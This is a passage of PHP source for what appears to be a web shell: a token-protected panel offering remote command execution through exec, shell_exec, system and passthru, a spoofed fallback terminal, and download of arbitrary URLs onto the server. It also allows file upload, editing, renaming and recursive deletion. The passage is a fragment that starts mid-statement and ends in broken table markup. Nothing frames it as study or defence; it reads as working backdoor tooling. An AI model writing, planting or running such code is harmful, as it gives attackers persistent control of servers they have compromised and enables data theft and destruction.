&1", $output, $return_var); } else if (function_exists('shell_exec')) { $result = @shell_exec($command . " 2>&1"); $output = $result ? explode("\n", trim($result)) : ["No output"]; } else if (function_exists('system')) { ob_start(); @system($command . " 2>&1", $return_var); $result = ob_get_clean(); $output = $result ? explode("\n", trim($result)) : ["No output"]; } else if (function_exists('passthru')) { ob_start(); @passthru($command . " 2>&1", $return_var); $result = ob_get_clean(); $output = $result ? explode("\n", trim($result)) : ["No output"]; } else { $output = simulate_advanced_terminal($command); } if (empty($output) || (count($output) === 1 && empty(trim($output[0])))) { $output = simulate_advanced_terminal($command); } return $output; } function downloadFromUrl($url, $save_path = '') { if (empty($save_path)) { $save_path = basename($url); } if (function_exists('curl_version')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'); $data = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200 && $data) { if (file_put_contents($save_path, $data)) { return "Download successful: $save_path (" . round(strlen($data)/1024, 2) . " KB)"; } } return "Download failed: HTTP $http_code"; } else if (ini_get('allow_url_fopen')) { $data = file_get_contents($url); if ($data && file_put_contents($save_path, $data)) { return "Download successful: $save_path (" . round(strlen($data)/1024, 2) . " KB)"; } return "Download failed"; } else if (function_exists('wget')) { $output = []; exec("wget -O \"$save_path\" \"$url\" 2>&1", $output, $return_var); if ($return_var === 0) { return "Download successful: $save_path"; } return "wget failed: " . implode("\n", $output); } else { return "No download method available (curl/wget/allow_url_fopen)"; } } function simulate_advanced_terminal($command) { $cmd_parts = explode(' ', $command); $base_cmd = strtolower($cmd_parts[0]); switch ($base_cmd) { case 'pwd': return [getcwd()]; case 'whoami': return [$_SERVER['USER'] ?? 'www-data']; case 'ls': $path = $cmd_parts[1] ?? '.'; if (is_dir($path)) { $items = scandir($path); $result = []; foreach ($items as $item) { if ($item != '.' && $item != '..') { $result[] = $item . (is_dir($path . '/' . $item) ? '/' : ''); } } return $result; } return ["ls: cannot access '$path': No such file or directory"]; case 'cat': $file = $cmd_parts[1] ?? ''; if ($file && file_exists($file) && is_file($file)) { $content = file_get_contents($file); return $content ? explode("\n", $content) : ["[empty file]"]; } return ["cat: $file: No such file or directory"]; case 'echo': array_shift($cmd_parts); return [implode(' ', $cmd_parts)]; case 'id': return ['uid=33(www-data) gid=33(www-data) groups=33(www-data)']; case 'date': return [date('D M j H:i:s Y')]; case 'uname': return [php_uname()]; case 'php': array_shift($cmd_parts); $php_cmd = implode(' ', $cmd_parts); if ($php_cmd === '-v') { return ['PHP ' . PHP_VERSION]; } return ["PHP " . PHP_VERSION]; case 'help': return [ "Available commands:", "pwd, ls [dir], cat [file], echo [text], whoami, id, date, uname, php -v", "wget [url] - Download file from URL", "wget -O [filename] [url] - Download dengan nama custom", "curl [url] - Download file from URL", "help - This help message" ]; default: return [ "bash: $base_cmd: command not found", "Type 'help' for available commands" ]; } } // ==================== BULK DELETE HANDLER - FIXED RECURSIVE ==================== if (isset($_POST['bulk_delete']) && isset($_POST['selected_items'])) { $deleted_count = 0; $errors = []; $current_path = $_POST['current_path'] ?? '.'; foreach ($_POST['selected_items'] as $item_path) { if (file_exists($item_path)) { if (deleteRecursive($item_path)) { $deleted_count++; } else { $errors[] = "Failed to delete: " . basename($item_path); } } else { $errors[] = "File not found: " . basename($item_path); } } if ($deleted_count > 0) { $_SESSION['success'] = "✅ Successfully deleted $deleted_count items"; } if (!empty($errors)) { $_SESSION['error'] = implode("\n", $errors); } header("Location: ?path=" . urlencode($current_path) . "&tab=files"); exit; } // ==================== SINGLE DELETE HANDLER - FIXED RECURSIVE ==================== if ($_GET['delete'] ?? false) { $delete_path = $_GET['delete']; $current_path = $_GET['current_path'] ?? '.'; if (file_exists($delete_path)) { if (deleteRecursive($delete_path)) { $_SESSION['success'] = "Item deleted successfully"; } else { $_SESSION['error'] = "Failed to delete item"; } } else { $_SESSION['error'] = "File or directory not found"; } header("Location: ?path=" . urlencode($current_path) . "&tab=files"); exit; } if ($_POST['auth_token'] ?? false) { if (verifyAuthToken($_POST['auth_token'])) { $_SESSION['authenticated'] = true; $_SESSION['auth_time'] = time(); header("Location: ?"); exit; } else { $auth_error = "Invalid access token"; } } if ($_GET['logout'] ?? false) { session_destroy(); header("Location: ?"); exit; } if ($_POST['terminal_cmd'] ?? false) { $command = trim($_POST['terminal_cmd']); if (empty($command)) { $_SESSION['terminal_output'] = "Please enter a command"; } else { if (preg_match('/^wget\s+(-O\s+([^\s]+)\s+)?(https?:\/\/[^\s]+)/i', $command, $matches)) { $url = $matches[3]; $filename = !empty($matches[2]) ? $matches[2] : basename($url); $result = downloadFromUrl($url, $filename); $_SESSION['terminal_output'] = $result; } else if (preg_match('/^curl\s+(https?:\/\/[^\s]+)/i', $command, $matches)) { $url = $matches[1]; $filename = basename($url); $result = downloadFromUrl($url, $filename); $_SESSION['terminal_output'] = $result; } else { $output = executeCommand($command); $_SESSION['terminal_output'] = implode("\n", $output); } } $_SESSION['last_command'] = $command; header("Location: ?tab=terminal"); exit; } // Handle download dari URL modal if (isset($_POST['download_url_submit'])) { $url = $_POST['download_url']; $filename = $_POST['filename'] ?? basename($url); $current_path = $_POST['current_path'] ?? '.'; if (!empty($url)) { $full_path = $current_path . '/' . $filename; $result = downloadFromUrl($url, $full_path); if (strpos($result, 'successful') !== false) { $_SESSION['success'] = $result; } else { $_SESSION['error'] = $result; } } else { $_SESSION['error'] = "URL cannot be empty"; } header("Location: ?path=" . urlencode($current_path) . "&tab=files"); exit; } if (isset($_POST['create_file'])) { $filename = $_POST['filename']; $current_path = $_POST['current_path'] ?? '.'; $full_path = $current_path . '/' . $filename; if (touch($full_path)) { header("Location: ?path=" . urlencode($current_path) . "&tab=files"); exit; } else { $_SESSION['error'] = "Failed to create file: " . $filename; header("Location: ?path=" . urlencode($current_path) . "&tab=files"); exit; } } if (isset($_POST['create_folder'])) { $foldername = $_POST['foldername']; $current_path = $_POST['current_path'] ?? '.'; $full_path = $current_path . '/' . $foldername; if (mkdir($full_path, 0755, true)) { header("Location: ?path=" . urlencode($current_path) . "&tab=files"); exit; } else { $_SESSION['error'] = "Failed to create folder: " . $foldername . " in " . $current_path; header("Location: ?path=" . urlencode($current_path) . "&tab=files"); exit; } } if (isset($_POST['upload'])) { $current_path = $_POST['current_path'] ?? '.'; if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) { $filename = basename($_FILES['file']['name']); $target_file = $current_path . '/' . $filename; if (file_exists($target_file)) { $_SESSION['error'] = "File already exists: " . $filename; header("Location: ?path=" . urlencode($current_path) . "&tab=files"); exit; } if (move_uploaded_file($_FILES['file']['tmp_name'], $target_file)) { $_SESSION['success'] = "File uploaded successfully: " . $filename; header("Location: ?path=" . urlencode($current_path) . "&tab=files"); exit; } else { $_SESSION['error'] = "Failed to upload file: " . $filename; header("Location: ?path=" . urlencode($current_path) . "&tab=files"); exit; } } else { $error_code = $_FILES['file']['error'] ?? 'Unknown'; $_SESSION['error'] = "Upload error (Code: $error_code)"; header("Location: ?path=" . urlencode($current_path) . "&tab=files"); exit; } } if (isset($_POST['edit_file'])) { $file_path = $_POST['file_path']; $file_content = $_POST['file_content']; $current_path = $_POST['current_path'] ?? '.'; if (file_exists($file_path) && is_writable($file_path)) { if (file_put_contents($file_path, $file_content) !== false) { $_SESSION['success'] = "File edited successfully: " . basename($file_path); header("Location: ?path=" . urlencode($current_path) . "&tab=files"); exit; } else { $_SESSION['error'] = "Failed to edit file: " . basename($file_path); header("Location: ?path=" . urlencode($current_path) . "&tab=files"); exit; } } else { $_SESSION['error'] = "File not writable or doesn't exist: " . basename($file_path); header("Location: ?path=" . urlencode($current_path) . "&tab=files"); exit; } } // Handle rename if (isset($_POST['rename'])) { $old_path = $_POST['old_path']; $new_name = trim($_POST['new_name']); $current_path = $_POST['current_path'] ?? '.'; if (empty($new_name)) { $_SESSION['error'] = "New name cannot be empty"; header("Location: ?path=" . urlencode($current_path) . "&tab=files"); exit; } $new_name = str_replace(['/', '\\', '..'], '', $new_name); $new_path = dirname($old_path) . '/' . $new_name; if (!file_exists($old_path)) { $_SESSION['error'] = "Source does not exist: " . basename($old_path); header("Location: ?path=" . urlencode($current_path) . "&tab=files"); exit; } if (file_exists($new_path)) { $_SESSION['error'] = "Target already exists: " . $new_name; header("Location: ?path=" . urlencode($current_path) . "&tab=files"); exit; } if (rename($old_path, $new_path)) { $_SESSION['success'] = "Renamed: " . basename($old_path) . " → " . $new_name; header("Location: ?path=" . urlencode($current_path) . "&tab=files"); exit; } else { $_SESSION['error'] = "Rename failed: " . basename($old_path); header("Location: ?path=" . urlencode($current_path) . "&tab=files"); exit; } } if (!($_SESSION['authenticated'] ?? false)) { ?>
| Name | Size | Permissions | Actions | |
|---|---|---|---|---|
| - | 📁 [PARENT DIRECTORY] | - | - | - |
| 📁 / | ||||
| 📄 |